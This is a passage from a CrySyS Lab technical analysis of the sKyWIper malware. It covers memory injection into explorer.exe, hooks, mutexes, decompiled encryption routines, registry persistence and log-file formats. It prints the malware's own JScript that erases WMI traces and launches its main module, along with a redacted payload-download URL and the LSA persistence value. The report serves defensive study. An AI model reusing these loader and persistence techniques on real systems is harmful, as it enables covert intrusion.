ff 89 7d fc +e8 00 00 00 00 58 89 45 fc 8b 45 fc 6a 64 59 48 +49 89 45 fc 74 5b 81 38 ba ba 0d f0 75 f1 8d 70 +........0%.|.$.| +...|U..QSVW3..}. +.....X.E..E.jdYH +I.E.t[.8....u..p +Process: explorer.exe Pid: 1616 Address: 0x1400000 +Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE +Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 +0x01400000 +0x01400000 +0x01400000 +0x01400000 +ba ba 0d f0 00 00 e8 00 30 25 80 7c b7 24 80 7c +b3 1d 90 7c 55 8b ec 51 53 56 57 33 ff 89 7d fc +e8 00 00 00 00 58 89 45 fc 8b 45 fc 6a 64 59 48 +49 89 45 fc 74 5b 81 38 ba ba 0d f0 75 f1 8d 70 +........0%.|.$.| +...|U..QSVW3..}. +.....X.E..E.jdYH +I.E.t[.8....u..p +Process: explorer.exe Pid: 1616 Address: 0x1b50000 +Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE +Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 +0x01b50000 +0x01b50000 +0x01b50000 +0x01b50000 +67 32 cd ba 2e 00 4d 00 53 00 42 00 54 00 53 00 +00 00 43 02 50 03 f8 01 4b 6c 43 02 04 00 01 00 +03 00 00 00 90 fa fc 00 2c fb fc 00 00 00 da 00 +00 e9 90 7c 40 00 91 7c ff ff ff ff 3d 00 91 7c +g2....M.S.B.T.S. +..C.P...KlC..... +........,....... +...|@..|....=..| +Process: explorer.exe Pid: 1616 Address: 0x4540000 +Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE +Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6 +0x04540000 +0x04540000 +0x04540000 +0x04540000 +00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 +10 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 +20 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 +................ +..T............. +..T............. +..T............. +Figure 8 + The presence of code injection and hooks (Volatility) +By examining the injected regions in more details, we found that the inserted code belongs +to shell32.dll. This can be verified by means of vmmap as shown in Figure 9. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Figure 9 + The presence of code injection (vmmap) +3.4. Hooks +By checking an infected machine with the GMER rootkit revealer, we can see that the +infected explorer.exe hooked the SHGetSpecialFolderPathW() library call in the shell32.dll +module (that is supposedly the result of a code injection). +Figure 10 + Hooking shell32 dll +s SHGetSpecialFolderPathW function in explorer.exe +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +3.5. Mutexes +Similarly to other malicious codes, sKyWIper uses mutexes to make sure that only one +instance is running from it. Mutexes are created either for injected system processes +(winlogon.exe, services.exe, explorer.exe) and proprietary files. In the former case, the +following naming convention is used: TH_POOL_SHD_PQOISNG_#PID#SYNCMTX, where the +#PID# variable refers to the PID of the system process the mutex belongs to. Furthermore, +there are other mutexes that belongs to files created by the malcode. These are the +following. +c__program_files_common_files_microsoft shared_msaudio_wpgfilter.dat +c__program files_common files_microsoft shared_msaudio_audcache +To reveal all the mutexes one can traverse Windows + _KMUTANT data structure, however, it +is difficult to grasp the malicious ones. +3.6. nteps32 exports +Figure 11 + nteps32 [loaded many times] exported functions + lot of functionality +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +It would be useful to describe here the exact meaning of the abbreviated functionality (SHR, +ABH, BHD, DLV, SMLData, VBinfo, OFR, PF, PGHDict) of this interesting library, however, +currently we do not have enough information on it. +CreatePGHDict might be associated with some Bluetooth related activities. +EnableSHR might be connected to ~DEB93D creation which contains samba nmb name +resolution traffic log. +3.7. Installation and propagation method +There are multiple ways for the malware to propagate. One method we are aware of is +related to windows update and file downloading by some modules using SSL and some +proprietary text based protocol. We also have clear indications that Stuxnet +s print spooler +exploit (MS10-061) and lnk exploit (MS10-046) is used within sKyWIper as well: +var objFileSystem = new ActiveXObject("Scripting.FileSystemObject");var s = +GetObject("winmgmts:root\\cimv2");var oProcs = s.ExecQuery("SELECT * FROM +Win32_Process WHERE name='outpost.exe' or name='aupdrun.exe' or name='op_mon.exe' +name='avp.exe'");s.Delete("__EventFilter.Name='FilterForClassCreation'");s.Delete(" +ActiveScriptEventConsumer.Name='ActiveScriptForSvc'");s.Delete("MyTestClass");s.Del +ete("__Win32Provider.Name='ActiveScriptEventConsumer'");var f = +objFileSystem.GetFile("wbem\\mof\\good\\svchostevt.mof");f.Delete(true); +f =objFileSystem.GetFile("testpage");f.Delete(true);if (!oProcs.Count) { s1 = new +ActiveXObject("Wscript.Shell");s1.Run("%SYSTEMROOT%\\system32\\rundll32.exe +msdclr64.ocx,DDEnumCallback");while (true) { var oProcs = s.ExecQuery("SELECT * +FROM Win32_Process WHERE name='rundll32.exe'"); if (!oProcs.Count) break; } var f = +objFileSystem.GetFile("msdclr64.ocx");f.Delete(true);} else { var f = +objFileSystem.GetFile("msdclr64.ocx"); f.Delete(true);} +where msdclr64.ocx +refers to the main module +Figure 12 + Printer problem related routines in the malware +URL: +http:///view.php?mp=1&jz=1627XXXXXX&fd=1463XXXXXX& +am=55XXXXXXX55X&ef=962DXXX7EC84XXXXEC84&pr=1&ec=0&ov=66664XXXXX6641XXXXX64174&pl=gs +pndXXXXXX|spnZXXX|nyXXX|0nXXX|TWvXXXX|nGcXXX +some 30-50 tags more XXX are deliberately deleted +Figure 13 + URL used to download mssecmgr.sys by some installation part +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Figure 13 shows the URL used to download the main module by some routine in the +installation part of the malware. The routine downloads the file mssecmgr.ocx and some +header: B5 A0 44 3F 67 EA EA EA E5 B2 EA EA. Trying to decrypt the header with algorithm +E1 (see encryption algorithms later in this report) and considering 0xEA => 0x00, the result is +: 0000000000: 20 E1 D7 50 0A 00 00 00 + C8 0F 00 00 +Further information shows that this is related to the windows update mechanism and the +MUNCH attack (see later). Numbers are partially removed or overwritten with X for privacy. +("http:///view.php?ac=1&jz=16X71X...",""); +CreateSection("$windir\softwaredistribution\selfupdate\default\wuauinfo.ocx"); +CreateSection("$windir\softwaredistribution\selfupdate\default\wuauinfo.ocx");' +Another sample (numbers are removed or modified) is the following: +connect(10.55.55.55,80,6); +UrlDetect("http://download.windowsupdate.com/v9/windowsupdate/redir/muv4wuredir.cab +?1",""); +The user agent during this communications is set to +Mozilla/4.0 (compatible; MSIE 6.0; +Windows NT 5.1; .NET CLR 1.1.2150) +. This cannot be found by a google search; hence, it is +possibly used by the malware for identification purposes. For the same reason, it can +possibly be used as a NIDS signature. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +4. Description of components +Now we present our initial analysis of the files used in sKyWIper. Note that given the lack of +resources and time, our findings are preliminary. The main goal is to highlight the structure +of the malware modules and the techniques used by the authors (e.g., for encryption); and +to pave the way for a thorough investigation. +4.1. Encryption algorithms +At the time of this writing, we identified five encryption algorithms used in the malware, we +refer to them as E1-E5. E1 is used in DAT files. For E1, we managed to produce a full +substitution table as presented in Figure 14 below. We could identify the encryption +algorithms E2-E5 shown in subsequent figures, but we do not have a full understanding of +where they are used in sKyWIper and if they are related to known encryption methods. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Figure 14 + Encryption E1 + Substitution table. Left is cleartext, right is ciphertext. Used for DAT files. +4091.dll: +unsigned int __cdecl encryptor_sub_4025C0(int a1) +return (a1 + 11) * (a1 + 17) ^ (((unsigned __int16)((a1 + 11) * (a1 + 17) & 0xFF00) +^ ((((unsigned int)((a1 + 11) * (a1 + 17)) >> 8) ^ (a1 + 11) * (a1 + 17) & +0xFF0000) >> 8)) >> 8); +Figure 15 + Encryption E2 + found in 4091.dll; loaded as +12Windows Management Instrumentation +Configurator + service +soapr32.dll: +keygensub_1000C0A2(int a1) +return (a1 + 11) * (a1 + 17) ^ ((unsigned int)((a1 + 11) * (a1 + 17)) >> 8) ^ (((a1 ++ 11) * (a1 + 17) ^ ((unsigned int)((a1 + 11) * (a1 + 17)) >> 8)) >> 16); +used as stream cipher with + function: +.text:1000C0C6 +eax, [esp+8+arg_0] +.text:1000C0CA +esi, [edi+eax] +.text:1000C0CD +eax, edi +.text:1000C0CF +call +keygensub_1000C0A2; eax->key one d +.text:1000C0D4 +[esi], al ; sub the calculated key +.text:1000C0D6 +.text:1000C0D7 +edi, [esp+8+arg_4] +.text:1000C0DB +short loc_1000C0C6 +Figure 16 + Encryption E2B + found in soapr32.dll +unsigned int cipher(unsigned int a1) +return (a1 + 5) * (a1 + 26) ^ +((unsigned int)((a1 + 5) * (a1 + 26)) >> 8) ^ +(((a1 + 5) * (a1 + 26) ^ ((unsigned int)((a1 + 5) * (a1 + 26)) >> 8)) >> 16); +.text:1000E895 sub_1000E895 +proc near +; CODE XREF: +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +.text:1000E895 +.text:1000E898 +.text:1000E89B +.text:1000E89E +.text:1000E8A0 +.text:1000E8A3 +.text:1000E8A5 +.text:1000E8A7 +.text:1000E8AA +.text:1000E8AC +.text:1000E8AE +.text:1000E8AE sub_1000E895 +imul +retn +endp +ecx, [eax+1Ah] +eax, 5 +ecx, eax +edx, ecx +edx, 8 +eax, edx +eax, ecx +eax, 10h +eax, edx +eax, ecx +called as stream cipher in the following way (encryption): +.text:1000E8BB loc_1000E8BB: +.text:1000E8CE +.text:1000E8BB +.text:1000E8BE +.text:1000E8C1 +.text:1000E8C3 +.text:1000E8C8 +.text:1000E8CA +.text:1000E8CB +.text:1000E8CE +.text:1000E8D0 +.text:1000E8D1 +; CODE XREF: +call +eax, [ebp+8] +esi, [edi+eax] +eax, edi +keygen_sub_1000E895 +[esi], al +edi, [ebp+0Ch] +short loc_1000E8BB +[esi], al +decryption part difference: +.text:1000E8ED +(advnetcfg: sub_1000BD68 ; nteps: sub_1000E895) +Figure 17 +Encryption E3 + found in advnetcfg and nteps32 +6411/sub_10003463 +v2 = result; +if ( a2 ) +v3 = 11 - result; +result = dword_100420B8 + (v3 + v2) * (v3 + v2 + 12); +*(_BYTE *)v2 -= result ^ ((unsigned __int16)((_WORD)dword_100420B8 + (v3 + +(_WORD)v2) * (v3 + (_WORD)v2 + 12)) >> 8) ^ ((unsigned int)(dword_100420B8 + (v3 + +v2) * (v3 + v2 + 12)) >> 16) ^ ((unsigned int)(dword_100420B8 + (v3 + v2) * (v3 + +v2 + 12)) >> 24); +++v2; +--a2; +Figure 18 +Encryption E4 + not clear where it is used +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +int __usercall sub_1000D9DC(int result, int a2) +int v2; // esi@1 +int v3; // edi@2 +v2 = result; +if ( a2 ) +v3 = 11 - result; +result = (v3 + v2) * (v3 + v2 + 6) + 88; +*(_BYTE *)v2 -= result ^ ((unsigned __int16)((v3 + (_WORD)v2) * (v3 + +(_WORD)v2 + 6) + 88) >> 8) ^ ((unsigned int)((v3 + v2) * (v3 + v2 + 6) + 88) >> 16) +^ ((unsigned int)((v3 + v2) * (v3 + v2 + 6) + 88) >> 24); +++v2; +--a2; +while ( a2 ); +return result; +Figure 19 + Encryption E4B -- found in 4748.dll, possibly used on resource 164 +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +0000000: 4909 caa4 11f3 63f7 2a30 58d8 43eb 3d83 +0000010: 626b 542e d0ca 5f07 599a 07ca 556a f059 +0000020: 0d17 b7a2 1c8a 4ac9 bc75 c1e6 30fb 898e +0000030: a8e3 51e2 16bd ea65 02e3 a83b 4555 0a3f +0000040: a6e7 ccfb 19b8 72df 5a57 810a 5cce d1a8 +0000050: 5ef8 b871 a07a 9db3 0bcf c786 65d9 100e +0000060: 9d54 3445 f52f d9e1 0b66 b885 d165 1ec1 +0000070: 0685 0c3a 7cd1 55e1 11db e3b2 5712 41a0 +0000080: 836c 1680 054d 852c aec3 1f54 20bf 7ed2 +0000090: 7a7c c6f7 220e c0c6 8921 ca51 d0e4 92e6 +00000a0: acf4 016c 35ff 79a0 5dac c9ff 7f62 3e9e +00000b0: 070c 629e 9095 11a4 37ef 2b89 0fa5 3df4 +00000c0: e0f6 0799 7176 a633 e728 66cb 8826 b714 +00000d0: 23dc 0817 9433 e906 d376 16ba 08fa 9841 +00000e0: bb6c 82c7 d0d6 4efe a076 a45a 6704 d430 +00000f0: 4c64 bff4 d731 cea2 0f7f 3613 9659 b178 +0000100: af91 81a2 7325 f22d d3d7 8cb8 ff13 f748 +0000110: 9604 41c1 1b19 3d5f 3cc6 e5c2 3635 2731 +0000120: dcb9 3c77 9995 38d8 46bc 80d2 f6aa c069 +0000130: 0a7b ca91 f2ad 0da2 a45f 966d 7457 9b58 +0000140: d78e 6336 d4a3 0d98 a312 23b9 66e3 5a53 +0000150: 1134 d01c 1b48 b7e8 8d0b 6a49 c400 27f0 +0000160: eef1 fb0e 36ee f395 0277 0bd2 1983 6dfe +0000170: 3666 45fb 98c9 fd5a 300d 7a24 4c46 4861 +0000180: c929 09b6 6861 ae81 7a61 2fd0 7121 7c04 +0000190: 7809 b5c9 a9d5 670d 9959 1291 58e7 bc54 +00001a0: 8111 e1f2 5092 dc54 49b2 622b 7eee a22d +00001b0: bef2 c085 02f6 d4c4 f674 c2de ef1f c626 +00001c0: c095 ec9b 2115 d279 6d76 4693 f3c9 41ac +00001d0: a355 1806 0b41 25c8 d853 0579 d404 0bb1 +00001e0: 2720 5ab9 755d 2e79 15af 9946 5c42 ea8a +00001f0: e2b8 dd91 7d4c 7c9d f2a7 35a6 09d2 f927 +0000200: a826 0a7f d54c 413a af8a 9cb2 4d4e d7c4 +0000210: 54b7 ecbb b6ce 5391 62b8 0e59 26e9 671e +0000220: b075 eb6e 6ea3 5a7f 9e66 7d99 4d8c 6184 +0000230: 113c 8698 a22c cfb9 2eaf bcf4 fa90 07a3 +0000240: 1f17 1217 1115 ac72 031d 380e 1ff5 e374 +0000250: 925f 6b71 4831 924d a7dd 2b81 ed45 78f4 +0000260: 4385 5ef5 11af 7509 df54 743e c31f 38b3 +0000270: afd9 521e a93b ffa6 fd85 c9a6 4ee4 00f6 +0000280: 1eb0 9aa3 dfb6 ba3a bd5e 54dd 4ecf 75e7 +0000290: 9b4c 7d55 cdb5 4e18 b18c 712b d52f 50cd +00002a0: f9ec 5f2f bd22 73c9 ea85 3b40 91f6 7079 +00002b0: 552c 9252 4614 78a3 8edf d7e1 1f21 5db1 +00002c0: 280c 843b a23e 4fbe 862f a7f5 400d a7d1 +00002d0: a2c8 b165 b728 21f3 7548 afa3 46e0 3422 +00002e0: b49f 76b4 239b 3aa0 6fd4 2d2b d7b0 eaed +00002f0: 1656 2416 5132 721e ccdf 50a1 9862 8252 +0000300: b080 88a9 9036 ac52 adbc 789f 4c29 537d +0000310: 5413 debd b867 77d8 966b adc6 8871 a14c +0000320: 16f3 f3c4 f8b6 f47a fde5 d4b6 df5d 3518 +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +0000330: d9e3 c883 3e30 c885 3dcc 110d 1708 bb4b +0000340: d85c e180 3e27 e216 3ed9 0c3b d50c 2432 +0000350: dc80 76ec c1ba 4a9f 3419 3482 f2c6 0220 +0000360: f004 72e5 83df 5711 4f20 50c6 778d 6af6 +0000370: 5063 d245 8987 89a3 0f9a 5f97 be52 459e +0000380: bd87 7276 0ca3 2873 597d 61a7 0a80 5475 +0000390: 660e c136 6730 f151 7d3b ce5e 968f a227 +00003a0: ec52 f10c 475c dbf3 4a86 abad e1d2 22b5 +00003b0: c5c3 4cea 347d 063a 27ac cb61 82c5 1822 +00003c0: 95c4 211b e1bc 4870 7fe7 5e87 1aec a435 +00003d0: 1bf1 5a9b 0523 2767 93df 0ddb 1247 9509 +00003e0: 3801 8437 c626 ffe4 a773 da85 1d61 b45f +00003f0: 0630 fa64 264b 7277 d286 6453 5c81 e9e9 +Figure 20 + Encryption E5 -- ~DEB93D encryption key, 1024 byte XOR key used repeatedly +Encryption key E5 might be calculated, but it can also be found in attack tables in memory +dumps. +Simple XOR with a constant is also used to +encrypt + files in multiple places. For instance, +Boot32drv.sys is an encrypted data file with simple XOR with 0xFF. +to691.tmp is always among the first files that was installed into infected systems. The file +contains configuration data and log results, very similar to the audcache.dat, but it is +encrypted in a different way, as follows. to691.tmp is encrypted cyclically by XOR-ing with a +16-byte long binary string. The string was found to be individual on the samples. As the +cleartext file contains many 0x00 characters, the XOR key can be easily found by statistical +means. The method is described in Figure 21 as Encryption E6A. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +for i=0..15: +take all characters from file at n*16+i +generate statistics on characters +key[i]=find most common character +for i=0..filesize: +decrypted[i]=encrypted[i] XOR key[i%16] +Figure 21 +Encryption E6A + TO691 1 stage generic decryption pseudocode +The decrypted text after E6A is still not cleartext database format, but one can easily see +that it is very similar to the file format of audcache.dat (after decryption). +The second stage is a mono-alphabetical substitution, for which it may not be impossible to +find a short mathematical formula to calculate the substitutions, but so far we were not able +to find that. Instead, we manually investigated the file and built a partial substitution table +on the characters used. The partial table is denoted as E6B in Figure 22. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +Figure 22 +Encryption E6B + TO691 2nd stage substitution table + known elements +(left: cipher character, right: cleartext character) +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +We also share some samples with the encryptions above to make it easier to pinpoint the +encryption algorithm: +0000000000: FF F5 FF FF FF FE FE 23 + FC FF FF FE 6F FE FF E4 +0000000010: CE 4C 3E 00 00 00 00 00 + 00 00 FD FB FF FF FF 46 +Figure 23 + Sample for encryption/encoding boot32drv.sys + simple XOR with 0xFF +0000000000: 75 EA EA EA FA 15 66 EA + EE 15 66 EA EA EA E0 EA +0000000010: EA F7 EF FC 24 EA EA EA + 0D 0D 0D 0D 91 EA EA EA +Figure 24 + Sample for encryption/encoding made with encryption E1; 0xEA +0x00 +4.2. Registry parts +The malware does not modify too many registry keys as most information, data, +configuration are stored in files. The affected registry entries are the following: +For installations and startup, LSA is abused: +HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Autenthication +Packages will contain in new line mssecmgr.ocx: +[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] +"Authentication Packages"=hex(7):6d,00,73,00,76,00,31,00,5f,00,30,00,00,00,6d,\ +00,73,00,73,00,65,00,63,00,6d,00,67,00,72,00,2e,00,6f,00,63,00,78,00,00,00,\ +00,00 +For some communications between processes wave8 and wave9 are used. Wave8 +possibly stores some PID, but this is just a guess. Wave9 is a name for the stored version +of the +main module +23:34:34,1794024 +rundll32.exe 2388 +NT\CurrentVersion\Drivers32\wave9 +23:35:05,5405919 +wmiprvse.exe 2472 +NT\CurrentVersion\Drivers32\wave9 +23:35:39,6297465 +rundll32.exe 2388 +NT\CurrentVersion\Drivers32\wave9 +23:35:39,6299138 +rundll32.exe 2388 +NT\CurrentVersion\Drivers32\wave9 +23:35:39,6300097 +rundll32.exe 2388 +NT\CurrentVersion\Drivers32\wave9 +23:35:39,6302820 +rundll32.exe 2388 +NT\CurrentVersion\Drivers32\wave9 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NAME NOT FOUND +Length: 536 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NAME NOT FOUND +Length: 536 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NAME NOT FOUND +Length: 144 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NAME NOT FOUND +Length: 144 +RegSetValue HKLM\SOFTWARE\Microsoft\Windows +SUCCESS +Type: REG_SZ, Length: 2, Data: +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +SUCCESS +Type: REG_SZ, Length: 2, Data: +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +23:35:39,6313420 +rundll32.exe 2388 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NT\CurrentVersion\Drivers32\wave9 +SUCCESS +Type: REG_SZ, Length: 2, Data: +23:35:39,6314414 +rundll32.exe 2388 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NT\CurrentVersion\Drivers32\wave9 +SUCCESS +Type: REG_SZ, Length: 2, Data: +23:35:39,6314604 +rundll32.exe 2388 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NT\CurrentVersion\Drivers32\wave9 +SUCCESS +Type: REG_SZ, Length: 2, Data: +23:35:39,6315540 +rundll32.exe 2388 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NT\CurrentVersion\Drivers32\wave9 +SUCCESS +Type: REG_SZ, Length: 2, Data: +23:35:39,6315727 +rundll32.exe 2388 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NT\CurrentVersion\Drivers32\wave9 +SUCCESS +Type: REG_SZ, Length: 2, Data: +23:35:39,6332115 +rundll32.exe 2388 +RegSetValue HKLM\SOFTWARE\Microsoft\Windows +NT\CurrentVersion\Drivers32\wave9 +SUCCESS +Type: REG_SZ, Length: 102, +Data: c:\progra~1\common~1\micros~1\msaudio\wavesup3.drv +23:35:50,6732679 +alg.exe +2848 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NT\CurrentVersion\Drivers32\wave9 +SUCCESS +Type: REG_SZ, Length: 102, +Data: c:\progra~1\common~1\micros~1\msaudio\wavesup3.drv +23:35:50,6733205 +alg.exe +2848 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NT\CurrentVersion\Drivers32\wave9 +SUCCESS +Type: REG_SZ, Length: 102, +Data: c:\progra~1\common~1\micros~1\msaudio\wavesup3.drv +23:36:17,4627767 +services.exe 748 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NT\CurrentVersion\Drivers32\wave9 +SUCCESS +Type: REG_SZ, Length: 102, +Data: c:\progra~1\common~1\micros~1\msaudio\wavesup3.drv +Figure 25 + Wave9 communications +23:34:29,5181519 +wmiprvse.exe 2248 +NT\CurrentVersion\Drivers32\wave8 +23:34:34,1793845 +rundll32.exe 2388 +NT\CurrentVersion\Drivers32\wave8 +23:35:05,5405737 +wmiprvse.exe 2472 +NT\CurrentVersion\Drivers32\wave8 +23:35:39,6273171 +rundll32.exe 2388 +NT\CurrentVersion\Drivers32\wave8 +23:35:39,6277806 +rundll32.exe 2388 +NT\CurrentVersion\Drivers32\wave8 +23:35:39,6278907 +rundll32.exe 2388 +NT\CurrentVersion\Drivers32\wave8 +23:35:39,6292151 +rundll32.exe 2388 +NT\CurrentVersion\Drivers32\wave8 +23:35:39,6293931 +rundll32.exe 2388 +NT\CurrentVersion\Drivers32\wave8 +23:35:39,6294881 +rundll32.exe 2388 +NT\CurrentVersion\Drivers32\wave8 +23:35:50,6732487 +alg.exe +2848 +NT\CurrentVersion\Drivers32\wave8 +23:36:17,4627582 +services.exe 748 +NT\CurrentVersion\Drivers32\wave8 +23:36:17,5738388 +services.exe 748 +NT\CurrentVersion\Drivers32\wave8 +23:36:23,7643698 +iexplore.exe 3240 +NT\CurrentVersion\Drivers32\wave8 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NAME NOT FOUND +Length: 536 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NAME NOT FOUND +Length: 536 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NAME NOT FOUND +Length: 536 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NAME NOT FOUND +Length: 144 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +NAME NOT FOUND +Length: 144 +RegSetValue HKLM\SOFTWARE\Microsoft\Windows +SUCCESS +Type: REG_SZ, Length: 2, Data: +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +SUCCESS +Type: REG_SZ, Length: 2, Data: +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +SUCCESS +Type: REG_SZ, Length: 2, Data: +RegSetValue HKLM\SOFTWARE\Microsoft\Windows +SUCCESS +Type: REG_SZ, Length: 2, Data: +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +SUCCESS +Type: REG_SZ, Length: 2, Data: +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +SUCCESS +Type: REG_SZ, Length: 2, Data: +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +SUCCESS +Type: REG_SZ, Length: 2, Data: +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +SUCCESS +Type: REG_SZ, Length: 2, Data: +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +23:36:43,0717217 +iexplore.exe 3520 +NT\CurrentVersion\Drivers32\wave8 +23:37:02,2292562 +iexplore.exe 3632 +NT\CurrentVersion\Drivers32\wave8 +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +SUCCESS +Type: REG_SZ, Length: 2, Data: +RegQueryValue HKLM\SOFTWARE\Microsoft\Windows +SUCCESS +Type: REG_SZ, Length: 2, Data: +Figure 26 + Wave8 communications +4.3. Compression and table formats +The file ntcache.dat found among the DAT files contains logs from the inspected target +computer. However, there are references for ntcache.dat as SFS Storage. +STORAGE.SFS.FILES.ntcache?dat.REINITIALIZE_ME +STORAGE.SFS.FILES.ntcache?dat.DELETE_ME +STORAGE.SFS.FILES.lmcache?dat.MAX_SIZE +STORAGE.SFS.FILES.lmcache?dat.BACKUPsKyWIper +Figure 27 +Winlogon.exe with injected code working with ccalc32.sys - procmon +We present the beginning of the binary format for ntcache.dat below. +0000000000: 02 30 30 30 30 30 30 31 + 45 5C 30 30 30 30 30 30 +0000000010: 30 30 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +0000000020: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +0000000030: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +0000000040: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +0000000050: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +0000000060: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +0000000070: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +0000000080: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +0000000090: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +00000000A0: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +00000000B0: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +00000000C0: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +00000000D0: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +00000000E0: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +00000000F0: 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 +0000000100: 00 96 02 00 00 E6 57 1B + 5B 5E 88 CC 01 01 00 00 +0000000110: 00 28 01 0A 00 00 00 FF + FF 00 00 43 00 4D 00 44 +0000000120: 00 02 00 00 00 33 00 0C + 00 00 00 FF FF 00 00 44 +0000000130: 00 45 00 53 00 43 00 0C + 00 00 00 42 00 47 00 66 +0000000140: 00 4C 00 6F 00 77 00 2A + 00 00 00 FF FF 00 00 52 +0000000150: 00 45 00 51 00 55 00 45 + 00 53 00 54 00 45 00 44 +0000000160: 00 5F 00 46 00 49 00 4C + 00 45 00 5F 00 4E 00 41 +0000001E\000000 +C M D +E S C +B G f +L o w * +E Q U E S T E D +_ F I L E _ N A +Figure 28 + Binary format of ntcache.dat (beginning) +We could not decide if the format is custom or just some strange binary format. A +comparison with ~HLV473.tmp, a file that contains a list of running processes, reveals the +sequences +78 DA ED + and +78 DA 73 + standing for a zlib inflate compressed format. +Laboratory of Cryptography and System Security (CrySyS) +Budapest University of Technology and Economics +www.crysys.hu +0000000EF0: 00 00 00 00 00 00 00 00 + 00 00 00 00 2B A0 80 B1 +0000000F00: 01 06 00 00 00 78 DA ED + 9D 5B 6C 1D C7 79 C7 F7 +0000000F10: 90 94 A2 9B 15 56 37 D3 + 94 AA 9E 28 B2 2C 2B 0A +Figure 29 +78 DA ED + compressed record in ntcache.dat +0000000000: 78 DA 73 E0 67 60 E0 65 + 60 60 60 01 E2 FF FF 19 +0000000010: 18 18 81 34 63 02 1B 03 + 03 3F 10 E8 00 39 22 40 +0000000020: CC 03 C4 1C 40 3C 81 E5 + BE 64 68 DB 19 90 1A B0 +e``` + 9"@ +Figure 30 +78 DA 73 + compressed record in ~HLV473.tmp +After decompression, we observe the following: +0000000000: 40 0F 00 00 0D 00 00 00 + 04 00 00 00 FF FF 00 00 +0000000010: 01 00 00 00 01 60 06 00 + 00 0F 0F 0F 0F 2C 00 00 +0000000020: 00 14 00 00 00 0C 00 00 + 00 08 00 00 00 90 04 DF +0000000030: 19 55 86 CC 01 00 00 00 + 00 0F 0F 0F 0F 28 00 00 +0000000040: 00 18 02 00 00 10 02 00 + 00 0C 02 00 00 FF FF 00 +0000000050: 00 46 00 61 00 72 00 2E + 00 65 00 78 00 65 00 00 +0000000060: 00 20 00 20 00 20 00 20 + 00 20 00 20 00 20 00 20 +0000000070: 00 20 00 20 00 20 00 20 + 00 20 00 20 00 20 00 20 +F a r . e x e +Figure 31 +78 DA 73 + compressed record decompressed beginning from ~HLV473.tmp +information on running processes inside (Far.exe) +We also found PPMd compression format in ntcache.dat, probably marked by +8F AF AC 84 